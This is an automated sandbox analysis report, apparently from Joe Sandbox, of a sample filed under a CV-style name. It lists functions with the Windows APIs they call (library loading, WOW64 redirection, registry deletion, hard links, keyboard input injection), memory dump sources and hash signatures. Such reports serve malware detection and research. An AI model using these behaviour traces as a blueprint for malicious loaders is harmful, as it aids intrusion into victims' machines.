                                                                  • String ID: %.3d$WIN_XPe
                                                                  • API String ID: 2070861257-2409531811
                                                                  • Opcode ID: 9bef08b3bac02aace428b55e31efe84686cf890af41e1013a54c9e4ce6ffa514
                                                                  • Instruction ID: 33fa45a27610c0fbdfe2e4412c79860682987dde831802ec33a1c098629c8d6c
                                                                  • Opcode Fuzzy Hash: 9bef08b3bac02aace428b55e31efe84686cf890af41e1013a54c9e4ce6ffa514
                                                                  • Instruction Fuzzy Hash: 5BE012B1804618EBCF109750DD89DF9B3FCE704741F1004E2B906A6110E7359BC4EA63
                                                                  Function 00B242F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadLibraryA.KERNEL32(kernel32.dll,00000000,00B242EC,?,00B242AA,?), ref: 00B24304
                                                                  • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00B24316
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AddressLibraryLoadProc
                                                                  • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                                  • API String ID: 2574300362-1355242751
                                                                  • Opcode ID: a2002ffc1eded109082f59510ef29e1aac0fcb67db36e7274f856bb4abe9ed81
                                                                  • Instruction ID: 51224fd9dec8c6687fe08b620ced05a22579ba68e3b85701ad51181d11d2628d
                                                                  • Opcode Fuzzy Hash: a2002ffc1eded109082f59510ef29e1aac0fcb67db36e7274f856bb4abe9ed81
                                                                  • Instruction Fuzzy Hash: 6FD0A7305007229FC7208F60F80D705B7D4EF16701B0044AAE44BE3A70EBB0C8808610
                                                                  Function 00B82205 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadLibraryA.KERNEL32(kernel32.dll,?,00B821FB,?,00B823EF), ref: 00B82213
                                                                  • GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 00B82225
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AddressLibraryLoadProc
                                                                  • String ID: GetProcessId$kernel32.dll
                                                                  • API String ID: 2574300362-399901964
                                                                  • Opcode ID: 264d59c32efa8bc08bbf7284ccd4b0b20704d3aee1b4f583d61a3576880b7e50
                                                                  • Instruction ID: 8d5f3df2b2f5e99335ee034a71413f82bbc46740e559b31b8325b4e25c1d3deb
                                                                  • Opcode Fuzzy Hash: 264d59c32efa8bc08bbf7284ccd4b0b20704d3aee1b4f583d61a3576880b7e50
                                                                  • Instruction Fuzzy Hash: 8BD052349007139FC7216F60B809606B6E8EB1A304B0084AAE88AB2660EBB0D880CB60
                                                                  Function 00B2434B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadLibraryA.KERNEL32(kernel32.dll,00B241BB,00B24341,?,00B2422F,?,00B241BB,?,?,?,?,00B239FE,?,00000001), ref: 00B24359
                                                                  • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00B2436B
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AddressLibraryLoadProc
                                                                  • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                                  • API String ID: 2574300362-3689287502
                                                                  • Opcode ID: 725788e714d92384b78bcf99b2dc841e5a45c1d9ef38aa375e223b704bfdef4c
                                                                  • Instruction ID: 5084ab66572bfb509fb7d2a4ee5181bf8ba9f954b9b814bcb179695a049786aa
                                                                  • Opcode Fuzzy Hash: 725788e714d92384b78bcf99b2dc841e5a45c1d9ef38aa375e223b704bfdef4c
                                                                  • Instruction Fuzzy Hash: 93D0A7309007239FC7208F70F809705B7E4EF25725B0045AAE487E3A60EBB4D8808610
                                                                  Function 00B60539 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadLibraryA.KERNEL32(oleaut32.dll,?,00B6051D,?,00B605FE), ref: 00B60547
                                                                  • GetProcAddress.KERNEL32(00000000,RegisterTypeLibForUser), ref: 00B60559
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AddressLibraryLoadProc
                                                                  • String ID: RegisterTypeLibForUser$oleaut32.dll
                                                                  • API String ID: 2574300362-1071820185
                                                                  • Opcode ID: 6bf5d819fa6845d9e4f53c2f1f8bd586c410d1ee0bc0c5a9aafccbb084b5f93e
                                                                  • Instruction ID: e642fee0c9bdfc5bb5182fd94526176855717b87759446db9f49403cf8a0ff4b
                                                                  • Opcode Fuzzy Hash: 6bf5d819fa6845d9e4f53c2f1f8bd586c410d1ee0bc0c5a9aafccbb084b5f93e
                                                                  • Instruction Fuzzy Hash: FED0A7305307129FC7209F61E849706B6E4EB31301B10C8AEE447E3670EA74CC808A10
                                                                  Function 00B60564 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadLibraryA.KERNEL32(oleaut32.dll,00000000,00B6052F,?,00B606D7), ref: 00B60572
                                                                  • GetProcAddress.KERNEL32(00000000,UnRegisterTypeLibForUser), ref: 00B60584
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AddressLibraryLoadProc
                                                                  • String ID: UnRegisterTypeLibForUser$oleaut32.dll
                                                                  • API String ID: 2574300362-1587604923
                                                                  • Opcode ID: 7a12aa200d3754d159ec194b2eb10676990fdeab3d7a6ddec7561bb1354ff182
                                                                  • Instruction ID: df6a486a2ea446848c0041920af903b1faa545cd84ab58be870fe811ef71b8b8
                                                                  • Opcode Fuzzy Hash: 7a12aa200d3754d159ec194b2eb10676990fdeab3d7a6ddec7561bb1354ff182
                                                                  • Instruction Fuzzy Hash: 9ED0A7305143229FC7206F71E849B07B7E4EB25300B10889FE843E3660EB74C4C08A20
                                                                  Function 00B7ECC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadLibraryA.KERNEL32(kernel32.dll,?,00B7ECBE,?,00B7EBBB), ref: 00B7ECD6
                                                                  • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00B7ECE8
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AddressLibraryLoadProc
                                                                  • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                  • API String ID: 2574300362-1816364905
                                                                  • Opcode ID: bf5a3b7018d0a59acbca1f22a89745eacf3cb9e9f7e3c5ae92434557f3bcdc10
                                                                  • Instruction ID: 3ad72fcdefbb5247624aff25a1e0c9502e0f612830f8d549395b5d509009b586
                                                                  • Opcode Fuzzy Hash: bf5a3b7018d0a59acbca1f22a89745eacf3cb9e9f7e3c5ae92434557f3bcdc10
                                                                  • Instruction Fuzzy Hash: 67D05E355007239FCB215B70A849706B6E4EF09300B00849AE86AA2660EF70C8808A10
                                                                  Function 00B7BADD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadLibraryA.KERNEL32(kernel32.dll,00000000,00B7BAD3,00000001,00B7B6EE,?,00BBDC00), ref: 00B7BAEB
                                                                  • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00B7BAFD
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AddressLibraryLoadProc
                                                                  • String ID: GetModuleHandleExW$kernel32.dll
                                                                  • API String ID: 2574300362-199464113
                                                                  • Opcode ID: 4c8fd910a942f646cbf66aec73846a3e9a023f94fb62aa97127cf889a246f196
                                                                  • Instruction ID: 81bfa1253a7865f16849220b41b78619a186f81aa2b628b80a7b5392637680d8
                                                                  • Opcode Fuzzy Hash: 4c8fd910a942f646cbf66aec73846a3e9a023f94fb62aa97127cf889a246f196
                                                                  • Instruction Fuzzy Hash: 67D0C771A007129FDB305F65E889F55B7D4EF19751B10C49AEC57E3764EBB0D880CA50
                                                                  Function 00B83BDB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadLibraryA.KERNEL32(advapi32.dll,?,00B83BD1,?,00B83E06), ref: 00B83BE9
                                                                  • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00B83BFB
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AddressLibraryLoadProc
                                                                  • String ID: RegDeleteKeyExW$advapi32.dll
                                                                  • API String ID: 2574300362-4033151799
                                                                  • Opcode ID: 273e1cb468898e9aac4e068ab586a3ffdd9ddda21754b44677ff4066d61ea8d9
                                                                  • Instruction ID: 54d790caf751e91a2470987196d6ae0cd916788433a68d3237c089827079c977
                                                                  • Opcode Fuzzy Hash: 273e1cb468898e9aac4e068ab586a3ffdd9ddda21754b44677ff4066d61ea8d9
                                                                  • Instruction Fuzzy Hash: A4D09E715007529BD7206BA5A819646BAE4EB06B15B10449AE456A3660EBB0D484CF50
                                                                  Function 00B59B30 Relevance: 6.3, APIs: 4, Instructions: 306COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: 01af3ccf9250981db67c8e694a25dd2d3a0b31ad71e3fac06941476da54771af
                                                                  • Instruction ID: 277cafa929952ce2e409298479a674c1be36d1d0c35ffda94abd78e6fe1044d1
                                                                  • Opcode Fuzzy Hash: 01af3ccf9250981db67c8e694a25dd2d3a0b31ad71e3fac06941476da54771af
                                                                  • Instruction Fuzzy Hash: 83C13875A0021AEBDB14DF94C885BAEB7F5FF48701F1085D8E906AB291D730AE45DB90
                                                                  Function 00B7AA84 Relevance: 6.3, APIs: 4, Instructions: 268COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CoInitialize.OLE32(00000000), ref: 00B7AAB4
                                                                  • CoUninitialize.OLE32 ref: 00B7AABF
                                                                    • Part of subcall function 00B60213: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00B6027B
                                                                  • VariantInit.OLEAUT32(?), ref: 00B7AACA
                                                                  • VariantClear.OLEAUT32(?), ref: 00B7AD9D
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                                                  • String ID:
                                                                  • API String ID: 780911581-0
                                                                  • Opcode ID: 9919de0270c7f2da6e310543374fd5e4d83c5e23859172753aec47b852575e2b
                                                                  • Instruction ID: e8df94611c3736dcd17b11e9f81c41b61b9472eea801b990912cea2abd38f2ca
                                                                  • Opcode Fuzzy Hash: 9919de0270c7f2da6e310543374fd5e4d83c5e23859172753aec47b852575e2b
                                                                  • Instruction Fuzzy Hash: 18A117752047119FCB51EF24C891A1EB7E5FF88710F148499F9AA9B3A1CB34ED44CB86
                                                                  Function 00B591CC Relevance: 6.2, APIs: 4, Instructions: 201memoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Variant$AllocClearCopyInitString
                                                                  • String ID:
                                                                  • API String ID: 2808897238-0
                                                                  • Opcode ID: aba51a767576c3f03ae32f144d39ac511ac2e8fa659b8a536a7c6ef1568cad19
                                                                  • Instruction ID: 8bb0a6f32fe38c03d1c05776407a37874ac868ab1301054ddce3f3a164de8216
                                                                  • Opcode Fuzzy Hash: aba51a767576c3f03ae32f144d39ac511ac2e8fa659b8a536a7c6ef1568cad19
                                                                  • Instruction Fuzzy Hash: 6951A330604306DBDB249F69D4D5B2EB3E5EF49311F2088EFE95ACB2D1DB7498488709
                                                                  Function 00B4365B Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _memset$__filbuf__getptd_noexit_memcpy_s
                                                                  • String ID:
                                                                  • API String ID: 3877424927-0
                                                                  • Opcode ID: 065ad613f1183b824f05baa70d3d15c8958660488bca00daffb81e2f860a9d07
                                                                  • Instruction ID: f14dcb89a6d77658676f8adf448a7817622fbd030592c0a4f26a620b2748092f
                                                                  • Opcode Fuzzy Hash: 065ad613f1183b824f05baa70d3d15c8958660488bca00daffb81e2f860a9d07
                                                                  • Instruction Fuzzy Hash: 0A51AAB0A04306ABDB249F69888596E77F1EF40B20F2987A9F875962D0D771DF50EF40
                                                                  Function 00B6390C Relevance: 6.1, APIs: 4, Instructions: 112keyboardwindowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00B63966
                                                                  • SetKeyboardState.USER32(00000080,?,00000001), ref: 00B63982
                                                                  • PostMessageW.USER32(00000000,00000102,?,00000001), ref: 00B639EF
                                                                  • SendInput.USER32(00000001,?,0000001C,00000000,?,00000001), ref: 00B63A4D
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: KeyboardState$InputMessagePostSend
                                                                  • String ID:
                                                                  • API String ID: 432972143-0
                                                                  • Opcode ID: a4ef1db6d834490f0d3600e66d0d7de2a29de862476c21e304b6168e9e3ee013
                                                                  • Instruction ID: 12fa0243a90cb99a35a01a9ada4955423d0a07a7bc6e1146dbd9493698df362d
                                                                  • Opcode Fuzzy Hash: a4ef1db6d834490f0d3600e66d0d7de2a29de862476c21e304b6168e9e3ee013
                                                                  • Instruction Fuzzy Hash: C3410970E04648AAEF208B6488467FDBBF5EB55710F04019AE4C7532C1CBBD8E85DF65
                                                                  Function 00B6E698 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00B6E742
                                                                  • GetLastError.KERNEL32(?,00000000), ref: 00B6E768
                                                                  • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00B6E78D
                                                                  • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00B6E7B9
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CreateHardLink$DeleteErrorFileLast
                                                                  • String ID:
                                                                  • API String ID: 3321077145-0
                                                                  • Opcode ID: 7b2c291e567c7803a4ddcdcdae1d927b464268ab9a00fb88a810c874b720ae61
                                                                  • Instruction ID: 15682b46426f1cbf5127f1e0f70622235bcebb49bb28e15d0ba26e9b1628ba2d
                                                                  • Opcode Fuzzy Hash: 7b2c291e567c7803a4ddcdcdae1d927b464268ab9a00fb88a810c874b720ae61
                                                                  • Instruction Fuzzy Hash: 68411339600610DFCF11EF14C445A5DBBE5EF99710F198488E94AAB3A2CB34EC01CB99
                                                                  Function 00B8D7DE Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • ClientToScreen.USER32(?,?), ref: 00B8D807
                                                                  • GetWindowRect.USER32(?,?), ref: 00B8D87D
                                                                  • PtInRect.USER32(?,?,00B8ED5A), ref: 00B8D88D
                                                                  • MessageBeep.USER32(00000000), ref: 00B8D8FE
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Rect$BeepClientMessageScreenWindow
                                                                  • String ID:
                                                                  • API String ID: 1352109105-0
                                                                  • Opcode ID: 10fabb89278e52b701cd44baa83f85ef1927accef83a220c0678aa58b973f57c
                                                                  • Instruction ID: fcb756160a63c0ec91ef47de97dda3577d0d14d222e46528fb7dc615c54bdc06
                                                                  • Opcode Fuzzy Hash: 10fabb89278e52b701cd44baa83f85ef1927accef83a220c0678aa58b973f57c
                                                                  • Instruction Fuzzy Hash: BF416774A00259DFCB11EF58D884BA9BBF5FB49310F6885EAE8159B2A0DB30E945CB50
                                                                  Function 00B63A61 Relevance: 6.1, APIs: 4, Instructions: 104keyboardwindowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetKeyboardState.USER32(?,753DC0D0,?,00008000), ref: 00B63AB8
                                                                  • SetKeyboardState.USER32(00000080,?,00008000), ref: 00B63AD4
                                                                  • PostMessageW.USER32(00000000,00000101,00000000,?), ref: 00B63B34
                                                                  • SendInput.USER32(00000001,?,0000001C,753DC0D0,?,00008000), ref: 00B63B92
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
